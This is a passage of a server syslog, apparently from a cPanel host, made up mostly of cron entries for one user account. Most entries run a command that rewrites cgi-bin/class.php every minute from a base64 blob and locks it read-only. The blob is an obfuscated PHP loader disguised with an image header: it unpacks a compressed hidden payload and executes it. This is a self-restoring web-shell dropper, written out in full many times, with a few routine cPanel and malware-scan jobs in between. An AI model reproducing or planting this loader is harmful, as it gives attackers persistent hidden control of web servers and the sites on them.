rzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:01:01 server CROND[14673]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 05:01:01 server run-parts(/etc/cron.hourly)[14673]: starting 0anacron
Apr  6 05:01:01 server run-parts(/etc/cron.hourly)[14685]: finished 0anacron
Apr  6 05:02:01 server CROND[14757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:03:01 server CROND[14833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:04:01 server CROND[14915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:05:01 server CROND[15089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:05:01 server CROND[15090]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 05:05:01 server CROND[15091]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 05:05:01 server CROND[15092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:05:01 server CROND[15096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:06:01 server CROND[15239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:07:01 server CROND[15328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:08:01 server CROND[15398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:09:01 server CROND[15466]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 05:09:01 server CROND[15467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:10:01 server CROND[15625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:10:01 server CROND[15627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:10:01 server CROND[15626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:10:01 server CROND[15628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:11:01 server CROND[15747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:12:01 server CROND[15847]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 05:12:01 server CROND[15846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:13:01 server CROND[15911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:14:01 server CROND[15988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:15:01 server CROND[16087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:15:01 server CROND[16089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
